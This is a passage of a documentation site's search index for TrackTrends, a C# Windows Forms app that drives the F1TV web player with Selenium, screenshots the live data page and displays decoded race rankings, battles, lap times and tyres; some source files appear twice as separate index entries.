// Press the space key, this should make the setting button visible // It does not matter if the feed is paused because when changing channel it autoplays actions . SendKeys ( OpenQA . Selenium . Keys . Space ). Perform (); //Clicks on the settings Icon int settingsClickTries = 0 ; bool settingsClickSuccess = false ; while ( settingsClickTries < 100 && ! settingsClickSuccess ) { Thread . Sleep ( 100 ); try { IWebElement settingsButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-settingstogglebutton\" )); settingsButton . Click (); IWebElement selectElement = Driver . FindElement ( By . ClassName ( \"bmpui-ui-videoqualityselectbox\" )); SelectElement select = new SelectElement ( selectElement ); IWebElement selectOption = selectElement . FindElement ( By . CssSelector ( \"option[value^='1080_']\" )); selectOption . Click (); settingsClickSuccess = true ; } catch { //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry settingsClickSuccess = false ; settingsClickTries ++; } } if (! settingsClickSuccess ) { Screenshot ( \"ERROR105\" ); Driver . Dispose (); return 105 ; } Screenshot ( \"BEFOREFULLSCREEN\" ); //Makes the feed fullscreen int fullScreenClickTries = 0 ; bool fullScreenClickSuccess = false ; Driver . Manage (). Window . Maximize (); //WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); while ( fullScreenClickTries < 100 && ! fullScreenClickSuccess ) { Thread . Sleep ( 150 ); try { IWebElement fullScreenButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-fullscreentogglebutton\" )); fullScreenButton . Click (); fullScreenClickSuccess = true ; } catch { fullScreenClickSuccess = false ; fullScreenClickTries ++; } } if (! fullScreenClickSuccess ) { Screenshot ( \"ERROR106\" ); Driver . Dispose (); return 106 ; } Screenshot ( \"AFTERFULLSCREEN\" ); //STARTUP FINISHED READY TO SCREENSHOT Ready = true ; return 0 ; } /// /// Takes a screenshot of what the headless browser is displaying /// /// Optional ! The name of the picture so it can be saved /// Returns the screenshot in the bitmap format public Bitmap Screenshot ( string name = \"TEST\" ) { Bitmap result = new Bitmap ( 4242 , 6969 ); try { //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot(); //profileriver.SetPreferencC:\\Users\\Moi\\source\\repos\\Test_Merge\\README.mde(\"layout.css.devPixelsPerPx\", \"1.0\"); //Screenshot scrsht = Driver.GetFullPageScreenshot(); Screenshot scrsht = Driver . GetScreenshot (); byte [] screenshotBytes = Convert . FromBase64String ( scrsht . AsBase64EncodedString ); MemoryStream stream = new MemoryStream ( screenshotBytes ); result = new Bitmap ( stream ); //result.Save(name + \".png\"); scrsht . SaveAsFile ( name + \".png\" ); } catch { //Nothing for now } return result ; } /// /// Stops the Emulation. Note: if you plan to start it again please use ResetDriver() instead /// public void Stop () { Ready = false ; if ( Driver != null ) Driver . Dispose (); } /// /// Resets the emulation /// public void ResetDriver () { Ready = false ; if ( Driver != null ) Driver . Dispose (); Driver = null ; } } }","title":"F1TVEmulator.cs"},{"location":"Code/Form1.html","text":"Form1.cs using System ; using System.Collections.Generic ; using System.ComponentModel ; using System.Data ; using System.Diagnostics ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.IO ; namespace TrackTrends { public partial class Main : Form { //private Reader Reader = null; private F1TVEmulator Emulator = null ; private DataWrapper Wrapper = null ; private bool cancelRequested = false ; private SemaphoreSlim semaphore = new SemaphoreSlim ( 1 ); string ConfigFile = \"\" ; string GpUrl = \"\" ; //For the responsive content Size oldSize = new Size (); Size oldRankingSize = new Size (); Size oldLapTimesSize = new Size (); Size oldBattles = new Size (); Size oldPnlBattles = new Size (); Size oldPnlRankings = new Size (); Size oldPnlFastest = new Size (); Size oldPnlSlowest = new Size (); Point oldRankingPosition = new Point (); Point oldBattlePosition = new Point (); Point oldDriverInfoPosition = new Point (); Point olPnlFastestPosition = new Point (); Point oldPnlSlowestPosition = new Point (); public Main () { InitializeComponent (); } public async void RefreshUI () { if ( Directory . Exists ( ConfigurationTool . CONFIGS_FOLDER_NAME )) { lsbPresets . DataSource = null ; lsbPresets . DataSource = Directory . GetFiles ( ConfigurationTool . CONFIGS_FOLDER_NAME ); } } private async void btnSettings_Click ( object sender , EventArgs e ) { if ( Emulator != null ) Emulator . ResetDriver (); btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = false ; btnResetEmulator . Text = \"Launch\" ; Emulator = null ; Wrapper = null ; GC . Collect (); Settings settingsForm = new Settings (); settingsForm . ShowDialog (); RefreshUI (); //MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); if ( settingsForm . GrandPrixUrl != \"\" && settingsForm . SelectedConfigFile != \"\" ) { GpUrl = settingsForm . GrandPrixUrl ; tbxGpUrl . Text = GpUrl ; if ( File . Exists ( settingsForm . SelectedConfigFile )) { ConfigFile = settingsForm . SelectedConfigFile ; for ( int i = 0 ; i < lsbPresets . Items . Count ; i ++) { if ( lsbPresets . Items [ i ]. ToString () == ConfigFile ) lsbPresets . SelectedIndex = i ; } } else { MessageBox . Show ( \"The config file has not been found please return to the config and change it\" ); } } else { //WE dont care anymore, the user will choose its Grand Prix himself in the main program //MessageBox.Show(\"There is no URL for the Grand Prix you want to decode. Please return to the config and add a valid one\"); } } private async void Form1_Load ( object sender , EventArgs e ) { //Those are the default values but they will need to be changed later when the configuration has been done ConfigFile = \"./Presets/Clean_4K_2023.json\" ; GpUrl = \"https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play\" ; tbxGpUrl . Text = GpUrl ; oldSize = this . Size ; oldRankingSize = gpbxRanking . Size ; oldLapTimesSize = gpbxLapTimes . Size ; oldBattles = gpbxBattles . Size ; oldPnlRankings = pnlLiveRanking . Size ; oldPnlBattles = pnlBattles . Size ; oldPnlFastest = pnlFastest . Size ; oldPnlSlowest = pnlSlowest . Size ; oldRankingPosition = gpbxRanking . Location ; oldBattlePosition = gpbxBattles . Location ; oldDriverInfoPosition = gpbxDriverInfos . Location ; olPnlFastestPosition = pnlFastest . Location ; oldPnlSlowestPosition = pnlSlowest . Location ; tip1 . SetToolTip ( btnResetEmulator , \"Starts or restarts the emulator. You need to start this to use the app\" ); tip1 . SetToolTip ( btnSettings , \"Opens the configuration menu\" ); tip1 . SetToolTip ( tbxGpUrl , \"Insert the URL of the Grand Prix you want to track. Dont forget the \\\"?action=play\\\" at the end\" ); tip1 . SetToolTip ( lsbPresets , \"Select a configuration preset to use with the decoding\" ); tip1 . SetToolTip ( pbxResult , \"A preview of what the program sees. You should see the DATA page of the F1TV here\" ); tip1 . SetToolTip ( lsbOvertakes , \"A list of all the activity. You can scroll to see the most recent overtakes\" ); tip1 . SetToolTip ( gpbxBattles , \"The four first battles in the field. A battle is two drivers less than 3 seconds apart\" ); tip1 . SetToolTip ( gpbxLapTimes , \"The fastest and slowest drivers on track at the moment. It takes the average lapTime of the last 5 laps to choose who is the fastes or the slowest\" ); RefreshUI (); } private async void btnUpdate_Click ( object sender , EventArgs e ) { cancelRequested = false ; if ( Emulator != null && Wrapper != null ) { // Disable UI controls to prevent re-entrancy btnResetEmulator . Enabled = false ; btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = true ; btnSettings . Enabled = false ; while (! cancelRequested ) { await semaphore . WaitAsync (); try { // Start the time-consuming task on a separate thread await Task . Run ( async () => { Stopwatch sw = new Stopwatch (); sw . Start (); Bitmap screen = Emulator . Screenshot (); screen . Save ( \"HopefullyDataScreenshot.png\" ); Invoke (( MethodInvoker ) delegate { pbxResult . Image = ( Bitmap ) screen . Clone (); }); Wrapper . ChangeImage ( screen ); int errorCode = Wrapper . Refresh (); sw . Stop (); // Task completed Invoke (( MethodInvoker ) delegate { DisplayResults ( errorCode , sw , screen ); DisplayBattles (); DisplayDeltas (); DisplayOvertakes (); }); }); } finally { semaphore . Release (); } } // Re-enable UI controls btnStopUpdating . Text = \"Stop\" ; btnStartDecoding . Enabled = true ; btnStopUpdating . Enabled = false ; btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; } } private void DisplayOvertakes () { Wrapper . DisplayOvertakes ( lsbOvertakes ); } private void DisplayBattles () { Wrapper . DisplayBattles ( pnlBattles , this ); } private void DisplayDeltas () { Wrapper . DisplayTimesDeltas ( pnlFastest , pnlSlowest , this ); } private void Form1_FormClosing ( object sender , FormClosingEventArgs e ) { if ( Emulator != null ) { Emulator . Stop (); } } private void DisplayResults ( int errorCode , Stopwatch sw , Bitmap screen ) { if ( errorCode != 0 ) { cancelRequested = true ; MessageBox . Show ( \"An error has occured while trying to recover data from live feed. This can happen sometimes. I would advise you to restart a few times. If the problem persists check your configuration.\" ); } else { Wrapper . DisplayLiveRanking ( pnlLiveRanking , this ); } } private void btnStopUpdating_Click ( object sender , EventArgs e ) { // Set the cancellation flag cancelRequested = true ; btnStopUpdating . Enabled = false ; btnResetEmulator . Enabled = false ; btnStopUpdating . Text = \"Stopping\" ; } private async void button1_Click ( object sender , EventArgs e ) { lsbOvertakes . Items . Clear (); btnResetEmulator . Text = \"Launching\" ; btnResetEmulator . Enabled = false ; btnSettings . Enabled = true ; btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = false ; btnSettings . Enabled = false ; int errorCode = - 1 ; await Task . Run ( async () => { if ( Emulator != null ) Emulator . ResetDriver (); Emulator = null ; Wrapper = null ; GC . Collect (); Emulator = new F1TVEmulator ( GpUrl ); errorCode = await Emulator . Start (); }); if ( errorCode != 0 ) { string message = \"\" ; switch ( errorCode ) { case 100 : message = \"Error \" + errorCode + \" Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again\" ; break ; case 101 : message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\" ; break ; case 102 : message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\" ; break ; case 103 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 104 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 105 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; case 106 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; default : message = \"Could not start the emulator Error \" + errorCode ; break ; } MessageBox . Show ( message ); btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; btnResetEmulator . Text = \"Retry\" ; } else { Wrapper = new DataWrapper ( ConfigFile , Emulator . Screenshot ()); btnResetEmulator . Text = \"Re launch\" ; btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; btnStartDecoding . Enabled = true ; } } private void removeBorders ( object sender , PaintEventArgs e ) { GroupBox gpbx = ( GroupBox ) sender ; using ( Pen pen = new Pen ( gpbx . BackColor , 50 )) { e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); } using ( var brush = new SolidBrush ( gpbx . ForeColor )) { var textPosition = new Point ( 5 , 0 ); // Adjust the X and Y values as needed e . Graphics . DrawString ( gpbx . Text , gpbx . Font , brush , textPosition ); } } private void lsbPresets_SelectedIndexChanged ( object sender , EventArgs e ) { if ( lsbPresets . SelectedIndex >= 0 ) ConfigFile = lsbPresets . Items [ lsbPresets . SelectedIndex ]. ToString (); } private void textBox1_TextChanged ( object sender , EventArgs e ) { if ( tbxGpUrl . Text != \"\" ) GpUrl = tbxGpUrl . Text ; } public void btnDriver_Click ( object sender , EventArgs e ) { //Removes the cover if ( pnlCover . Visible = true ) pnlCover . Visible = false ; //Happens when a driver button has been clicked //MessageBox.Show((sender as Button).Name + \" has been selected\"); Button btn = ( sender as Button ); string [] parts = btn . Name . Split ( '_' ); DriverData driver = Wrapper . GetFullDriverData ( parts [ 0 ], pnlCurrentDriverLapsHistory , this ); lblCurrentDriverName . Text = driver . Name ; lblCurrentDriverPosition . Text = driver . Position . ToString (); lblCurrentDriverGapToLeader . Text = Reader . ConvertMsToTime ( driver . GapToLeader ); lblCurrentDriverLapTime . Text = Reader . ConvertMsToTime ( driver . LapTime ); lblCurrentDriverTyreAge . Text = driver . CurrentTyre . NumberOfLaps . ToString (); if ( driver . DRS ) { lblCurrentDriverDRS . Text = \"Open\" ; lblCurrentDriverDRS . ForeColor = Color . FromArgb ( 0 , 164 , 46 ); } else { lblCurrentDriverDRS . Text = \"Closed\" ; lblCurrentDriverDRS . ForeColor = Color . Black ; } switch ( driver . CurrentTyre . Coumpound ) { case Tyre . Type . Undefined : lblCurrentDriverTyreType . Text = \"uuuuh...\" ; lblCurrentDriverTyreType . ForeColor = Color . Violet ; break ; case Tyre . Type . Hard : lblCurrentDriverTyreType . Text = \"Hard\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 164 , 165 , 168 ); break ; case Tyre . Type . Medium : lblCurrentDriverTyreType . Text = \"Medium\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 245 , 191 , 0 ); break ; case Tyre . Type . Soft : lblCurrentDriverTyreType . Text = \"Soft\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 255 , 0 , 0 ); break ; case Tyre . Type . Inter : lblCurrentDriverTyreType . Text = \"Intermediate\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 0 , 164 , 46 ); break ; case Tyre . Type . Wet : lblCurrentDriverTyreType . Text = \"Wet\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 39 , 96 , 166 ); break ; } } public void btnLapTime_Click ( object sender , EventArgs e ) { //Happens when a lapTime has been clicked Button btn = sender as Button ; string [] parts = btn . Name . Split ( '_' ); Wrapper . DisplayLapTimeInfos ( parts [ 0 ], Convert . ToInt32 ( parts [ 1 ]), btn . Text ); } private void Main_Resize ( object sender , EventArgs e ) { int xDiff = this . Width - oldSize . Width ; int yDiff = this . Height - oldSize . Height ; int padding = 10 ; //This will take half the newly created space gpbxRanking . Size = new Size ( oldRankingSize . Width + xDiff / 2 , oldRankingSize . Height + yDiff ); gpbxRanking . Location = new Point ( oldRankingPosition . X + xDiff / 2 , gpbxRanking . Location . Y ); //Will take half the new height and half the new height gpbxLapTimes . Size = new Size ( oldLapTimesSize . Width + xDiff / 2 , oldLapTimesSize . Height + yDiff / 2 ); //Will take half the new height and half the new width gpbxBattles . Size = new Size ( oldBattles . Width + xDiff / 2 , oldBattles . Height + yDiff / 2 ); gpbxBattles . Location = new Point ( gpbxBattles . Location . X , oldBattlePosition . Y + yDiff / 2 ); //The infos wont change width but will need to be centerd Point startOfZone = new Point ( gpbxOvertakes . Width + gpbxOvertakes . Location . X , gpbxOvertakes . Location . Y ); Point endOfZone = new Point ( gpbxRanking . Location . X , gpbxOvertakes . Location . Y ); int totalWidth = endOfZone . X - startOfZone . X ; gpbxDriverInfos . Location = new Point ( startOfZone . X + ( totalWidth / 2 - gpbxDriverInfos . Width / 2 ), oldDriverInfoPosition . Y + yDiff ); //Now resizing internals pnlFastest . Size = new Size ( oldPnlFastest . Width + xDiff / 4 , oldPnlFastest . Height + yDiff / 4 ); pnlFastest . Location = new Point ( olPnlFastestPosition . X , olPnlFastestPosition . Y + yDiff / 4 ); pnlSlowest . Size = new Size ( oldPnlSlowest . Width + xDiff / 4 , oldPnlSlowest . Height + yDiff / 4 ); pnlSlowest . Location = new Point ( oldPnlSlowestPosition . X + xDiff / 4 , oldPnlSlowestPosition . Y + yDiff / 4 ); pnlBattles . Size = new Size ( oldPnlBattles . Width + xDiff / 2 , oldPnlBattles . Height + yDiff / 2 ); pnlLiveRanking . Size = new Size ( oldPnlRankings . Width + xDiff / 2 , oldPnlRankings . Height + yDiff ); } } }","title":"Form1.cs"},{"location":"Code/Form1.html#form1cs","text":"using System ; using System.Collections.Generic ; using System.ComponentModel ; using System.Data ; using System.Diagnostics ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.IO ; namespace TrackTrends { public partial class Main : Form { //private Reader Reader = null; private F1TVEmulator Emulator = null ; private DataWrapper Wrapper = null ; private bool cancelRequested = false ; private SemaphoreSlim semaphore = new SemaphoreSlim ( 1 ); string ConfigFile = \"\" ; string GpUrl = \"\" ; //For the responsive content Size oldSize = new Size (); Size oldRankingSize = new Size (); Size oldLapTimesSize = new Size (); Size oldBattles = new Size (); Size oldPnlBattles = new Size (); Size oldPnlRankings = new Size (); Size oldPnlFastest = new Size (); Size oldPnlSlowest = new Size (); Point oldRankingPosition = new Point (); Point oldBattlePosition = new Point (); Point oldDriverInfoPosition = new Point (); Point olPnlFastestPosition = new Point (); Point oldPnlSlowestPosition = new Point (); public Main () { InitializeComponent (); } public async void RefreshUI () { if ( Directory . Exists ( ConfigurationTool . CONFIGS_FOLDER_NAME )) { lsbPresets . DataSource = null ; lsbPresets . DataSource = Directory . GetFiles ( ConfigurationTool . CONFIGS_FOLDER_NAME ); } } private async void btnSettings_Click ( object sender , EventArgs e ) { if ( Emulator != null ) Emulator . ResetDriver (); btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = false ; btnResetEmulator . Text = \"Launch\" ; Emulator = null ; Wrapper = null ; GC . Collect (); Settings settingsForm = new Settings (); settingsForm . ShowDialog (); RefreshUI (); //MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); if ( settingsForm . GrandPrixUrl != \"\" && settingsForm . SelectedConfigFile != \"\" ) { GpUrl = settingsForm . GrandPrixUrl ; tbxGpUrl . Text = GpUrl ; if ( File . Exists ( settingsForm . SelectedConfigFile )) { ConfigFile = settingsForm . SelectedConfigFile ; for ( int i = 0 ; i < lsbPresets . Items . Count ; i ++) { if ( lsbPresets . Items [ i ]. ToString () == ConfigFile ) lsbPresets . SelectedIndex = i ; } } else { MessageBox . Show ( \"The config file has not been found please return to the config and change it\" ); } } else { //WE dont care anymore, the user will choose its Grand Prix himself in the main program //MessageBox.Show(\"There is no URL for the Grand Prix you want to decode. Please return to the config and add a valid one\"); } } private async void Form1_Load ( object sender , EventArgs e ) { //Those are the default values but they will need to be changed later when the configuration has been done ConfigFile = \"./Presets/Clean_4K_2023.json\" ; GpUrl = \"https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play\" ; tbxGpUrl . Text = GpUrl ; oldSize = this . Size ; oldRankingSize = gpbxRanking . Size ; oldLapTimesSize = gpbxLapTimes . Size ; oldBattles = gpbxBattles . Size ; oldPnlRankings = pnlLiveRanking . Size ; oldPnlBattles = pnlBattles . Size ; oldPnlFastest = pnlFastest . Size ; oldPnlSlowest = pnlSlowest . Size ; oldRankingPosition = gpbxRanking . Location ; oldBattlePosition = gpbxBattles . Location ; oldDriverInfoPosition = gpbxDriverInfos . Location ; olPnlFastestPosition = pnlFastest . Location ; oldPnlSlowestPosition = pnlSlowest . Location ; tip1 . SetToolTip ( btnResetEmulator , \"Starts or restarts the emulator. You need to start this to use the app\" ); tip1 . SetToolTip ( btnSettings , \"Opens the configuration menu\" ); tip1 . SetToolTip ( tbxGpUrl , \"Insert the URL of the Grand Prix you want to track. Dont forget the \\\"?action=play\\\" at the end\" ); tip1 . SetToolTip ( lsbPresets , \"Select a configuration preset to use with the decoding\" ); tip1 . SetToolTip ( pbxResult , \"A preview of what the program sees. You should see the DATA page of the F1TV here\" ); tip1 . SetToolTip ( lsbOvertakes , \"A list of all the activity. You can scroll to see the most recent overtakes\" ); tip1 . SetToolTip ( gpbxBattles , \"The four first battles in the field. A battle is two drivers less than 3 seconds apart\" ); tip1 . SetToolTip ( gpbxLapTimes , \"The fastest and slowest drivers on track at the moment. It takes the average lapTime of the last 5 laps to choose who is the fastes or the slowest\" ); RefreshUI (); } private async void btnUpdate_Click ( object sender , EventArgs e ) { cancelRequested = false ; if ( Emulator != null && Wrapper != null ) { // Disable UI controls to prevent re-entrancy btnResetEmulator . Enabled = false ; btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = true ; btnSettings . Enabled = false ; while (! cancelRequested ) { await semaphore . WaitAsync (); try { // Start the time-consuming task on a separate thread await Task . Run ( async () => { Stopwatch sw = new Stopwatch (); sw . Start (); Bitmap screen = Emulator . Screenshot (); screen . Save ( \"HopefullyDataScreenshot.png\" ); Invoke (( MethodInvoker ) delegate { pbxResult . Image = ( Bitmap ) screen . Clone (); }); Wrapper . ChangeImage ( screen ); int errorCode = Wrapper . Refresh (); sw . Stop (); // Task completed Invoke (( MethodInvoker ) delegate { DisplayResults ( errorCode , sw , screen ); DisplayBattles (); DisplayDeltas (); DisplayOvertakes (); }); }); } finally { semaphore . Release (); } } // Re-enable UI controls btnStopUpdating . Text = \"Stop\" ; btnStartDecoding . Enabled = true ; btnStopUpdating . Enabled = false ; btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; } } private void DisplayOvertakes () { Wrapper . DisplayOvertakes ( lsbOvertakes ); } private void DisplayBattles () { Wrapper . DisplayBattles ( pnlBattles , this ); } private void DisplayDeltas () { Wrapper . DisplayTimesDeltas ( pnlFastest , pnlSlowest , this ); } private void Form1_FormClosing ( object sender , FormClosingEventArgs e ) { if ( Emulator != null ) { Emulator . Stop (); } } private void DisplayResults ( int errorCode , Stopwatch sw , Bitmap screen ) { if ( errorCode != 0 ) { cancelRequested = true ; MessageBox . Show ( \"An error has occured while trying to recover data from live feed. This can happen sometimes. I would advise you to restart a few times. If the problem persists check your configuration.\" ); } else { Wrapper . DisplayLiveRanking ( pnlLiveRanking , this ); } } private void btnStopUpdating_Click ( object sender , EventArgs e ) { // Set the cancellation flag cancelRequested = true ; btnStopUpdating . Enabled = false ; btnResetEmulator . Enabled = false ; btnStopUpdating . Text = \"Stopping\" ; } private async void button1_Click ( object sender , EventArgs e ) { lsbOvertakes . Items . Clear (); btnResetEmulator . Text = \"Launching\" ; btnResetEmulator . Enabled = false ; btnSettings . Enabled = true ; btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = false ; btnSettings . Enabled = false ; int errorCode = - 1 ; await Task . Run ( async () => { if ( Emulator != null ) Emulator . ResetDriver (); Emulator = null ; Wrapper = null ; GC . Collect (); Emulator = new F1TVEmulator ( GpUrl ); errorCode = await Emulator . Start (); }); if ( errorCode != 0 ) { string message = \"\" ; switch ( errorCode ) { case 100 : message = \"Error \" + errorCode + \" Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again\" ; break ; case 101 : message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\" ; break ; case 102 : message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\" ; break ; case 103 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 104 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 105 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; case 106 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; default : message = \"Could not start the emulator Error \" + errorCode ; break ; } MessageBox . Show ( message ); btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; btnResetEmulator . Text = \"Retry\" ; } else { Wrapper = new DataWrapper ( ConfigFile , Emulator . Screenshot ()); btnResetEmulator . Text = \"Re launch\" ; btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; btnStartDecoding . Enabled = true ; } } private void removeBorders ( object sender , PaintEventArgs e ) { GroupBox gpbx = ( GroupBox ) sender ; using ( Pen pen = new Pen ( gpbx . BackColor , 50 )) { e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); } using ( var brush = new SolidBrush ( gpbx . ForeColor )) { var textPosition = new Point ( 5 , 0 ); // Adjust the X and Y values as needed e . Graphics . DrawString ( gpbx . Text , gpbx . Font , brush , textPosition ); } } private void lsbPresets_SelectedIndexChanged ( object sender , EventArgs e ) { if ( lsbPresets . SelectedIndex >= 0 ) ConfigFile = lsbPresets . Items [ lsbPresets . SelectedIndex ]. ToString (); } private void textBox1_TextChanged ( object sender , EventArgs e ) { if ( tbxGpUrl . Text != \"\" ) GpUrl = tbxGpUrl . Text ; } public void btnDriver_Click ( object sender , EventArgs e ) { //Removes the cover if ( pnlCover . Visible = true ) pnlCover . Visible = false ; //Happens when a driver button has been clicked //MessageBox.Show((sender as Button).Name + \" has been selected\"); Button btn = ( sender as Button ); string [] parts = btn . Name . Split ( '_' ); DriverData driver = Wrapper . GetFullDriverData ( parts [ 0 ], pnlCurrentDriverLapsHistory , this ); lblCurrentDriverName . Text = driver . Name ; lblCurrentDriverPosition . Text = driver . Position . ToString (); lblCurrentDriverGapToLeader . Text = Reader . ConvertMsToTime ( driver . GapToLeader ); lblCurrentDriverLapTime . Text = Reader . ConvertMsToTime ( driver . LapTime ); lblCurrentDriverTyreAge . Text = driver . CurrentTyre . NumberOfLaps . ToString (); if ( driver . DRS ) { lblCurrentDriverDRS . Text = \"Open\" ; lblCurrentDriverDRS . ForeColor = Color . FromArgb ( 0 , 164 , 46 ); } else { lblCurrentDriverDRS . Text = \"Closed\" ; lblCurrentDriverDRS . ForeColor = Color . Black ; } switch ( driver . CurrentTyre . Coumpound ) { case Tyre . Type . Undefined : lblCurrentDriverTyreType . Text = \"uuuuh...\" ; lblCurrentDriverTyreType . ForeColor = Color . Violet ; break ; case Tyre . Type . Hard : lblCurrentDriverTyreType . Text = \"Hard\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 164 , 165 , 168 ); break ; case Tyre . Type . Medium : lblCurrentDriverTyreType . Text = \"Medium\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 245 , 191 , 0 ); break ; case Tyre . Type . Soft : lblCurrentDriverTyreType . Text = \"Soft\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 255 , 0 , 0 ); break ; case Tyre . Type . Inter : lblCurrentDriverTyreType . Text = \"Intermediate\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 0 , 164 , 46 ); break ; case Tyre . Type . Wet : lblCurrentDriverTyreType . Text = \"Wet\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 39 , 96 , 166 ); break ; } } public void btnLapTime_Click ( object sender , EventArgs e ) { //Happens when a lapTime has been clicked Button btn = sender as Button ; string [] parts = btn . Name . Split ( '_' ); Wrapper . DisplayLapTimeInfos ( parts [ 0 ], Convert . ToInt32 ( parts [ 1 ]), btn . Text ); } private void Main_Resize ( object sender , EventArgs e ) { int xDiff = this . Width - oldSize . Width ; int yDiff = this . Height - oldSize . Height ; int padding = 10 ; //This will take half the newly created space gpbxRanking . Size = new Size ( oldRankingSize . Width + xDiff / 2 , oldRankingSize . Height + yDiff ); gpbxRanking . Location = new Point ( oldRankingPosition . X + xDiff / 2 , gpbxRanking . Location . Y ); //Will take half the new height and half the new height gpbxLapTimes . Size = new Size ( oldLapTimesSize . Width + xDiff / 2 , oldLapTimesSize . Height + yDiff / 2 ); //Will take half the new height and half the new width gpbxBattles . Size = new Size ( oldBattles . Width + xDiff / 2 , oldBattles . Height + yDiff / 2 ); gpbxBattles . Location = new Point ( gpbxBattles . Location . X , oldBattlePosition . Y + yDiff / 2 ); //The infos wont change width but will need to be centerd Point startOfZone = new Point ( gpbxOvertakes . Width + gpbxOvertakes . Location . X , gpbxOvertakes . Location . Y ); Point endOfZone = new Point ( gpbxRanking . Location . X , gpbxOvertakes . Location . Y ); int totalWidth = endOfZone . X - startOfZone . X ; gpbxDriverInfos . Location = new Point ( startOfZone . X + ( totalWidth / 2 - gpbxDriverInfos . Width / 2 ), oldDriverInfoPosition . Y + yDiff ); //Now resizing internals pnlFastest . Size = new Size ( oldPnlFastest . Width + xDiff / 4 , oldPnlFastest . Height + yDiff / 4 ); pnlFastest . Location = new Point ( olPnlFastestPosition . X , olPnlFastestPosition . Y + yDiff / 4 ); pnlSlowest . Size = new Size ( oldPnlSlowest . Width + xDiff / 4 , oldPnlSlowest . Height + yDiff / 4 ); pnlSlowest . Location = new Point ( oldPnlSlowestPosition . X + xDiff / 4 , oldPnlSlowestPosition . Y + yDiff / 4 ); pnlBattles . Size = new Size ( oldPnlBattles . Width + xDiff / 2 , oldPnlBattles . Height + yDiff / 2 ); pnlLiveRanking . Size = new Size ( oldPnlRankings . Width + xDiff / 2 , oldPnlRankings . Height + yDiff ); } } }","title":"Form1.cs"},{"location":"Code/Program.html","text":"Program.cs using System ; using System.Collections.Generic ; using System.Linq ; using System.Threading.Tasks ; using System.Windows.Forms ; namespace TrackTrends { internal static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main () { Application . EnableVisualStyles (); Application . SetCompatibleTextRenderingDefault ( false ); Application . Run ( new Main ()); } } }","title":"Program.cs"},{"location":"Code/Program.html#programcs","text":"using System ; using System.Collections.Generic ; using System.Linq ; using System.Threading.Tasks ; using System.Windows.Forms ; namespace TrackTrends { internal static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main () { Application . EnableVisualStyles (); Application . SetCompatibleTextRenderingDefault ( false ); Application . Run ( new Main ()); } } }","title":"Program.cs"},{"location":"Code/Settings.Designer.html","text":"Settings.Designer.cs namespace TrackTrends { partial class Settings { /// /// Required designer variable. /// private System . ComponentModel . IContainer components = null ; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose ( bool disposing ) { if ( disposing && ( components != null )) { components . Dispose (); } base . Dispose ( disposing ); } #region Windows Form Designer generated code /// /// 